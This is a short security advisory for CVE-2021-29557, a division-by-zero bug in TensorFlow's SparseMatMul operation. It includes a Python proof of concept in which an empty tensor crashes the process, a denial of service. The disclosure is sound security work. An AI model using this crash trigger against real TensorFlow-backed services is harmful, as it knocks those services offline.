CVE-2021-29557: Division by 0 in `SparseMatMul`

(updated )

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.SparseMatMul:

import tensorflow as tf

a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)

tf.raw_ops.SparseMatMul(
a=a, b=b, transpose_a=True, transpose_b=True,
a_is_sparse=True, b_is_sparse=True)

The division by 0 occurs deep in Eigen code because the b tensor is empty.

References

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